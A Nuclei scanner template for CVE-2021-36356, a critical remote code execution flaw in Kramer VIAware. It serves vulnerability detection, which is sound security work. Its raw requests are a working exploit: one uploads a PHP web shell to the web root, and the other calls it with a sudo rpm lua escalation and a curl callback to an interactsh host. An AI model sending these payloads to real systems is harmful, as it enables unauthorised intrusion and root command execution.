id: CVE-2021-36356

info:
  name: Kramer VIAware - Remote Code Execution
  author: gy741
  severity: critical
  description: KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
  remediation: |
    Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface.
  reference:
    - https://www.exploit-db.com/exploits/50856
    - https://nvd.nist.gov/vuln/detail/CVE-2021-36356
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35064
    - https://write-up.github.io/kramerav/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36356
    cwe-id: CWE-434
    epss-score: 0.88363
    epss-percentile: 0.9839
    cpe: cpe:2.3:a:kramerav:viaware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: kramerav
    product: viaware
  tags: viaware,cve,cve2021,kramer,edb,rce,intrusive
variables:
  useragent: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        radioBtnVal=%3C%3Fphp%0A++++++++if%28isset%28%24_GET%5B%27cmd%27%5D%29%29%0A++++++++%7B%0A++++++++++++system%28%24_GET%5B%27cmd%27%5D%29%3B%0A++++++++%7D%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F{{randstr}}.php
      - |
        GET /{{randstr}}.php?cmd=sudo+rpm+--eval+'%25{lua%3aos.execute("curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'")}' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - http

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
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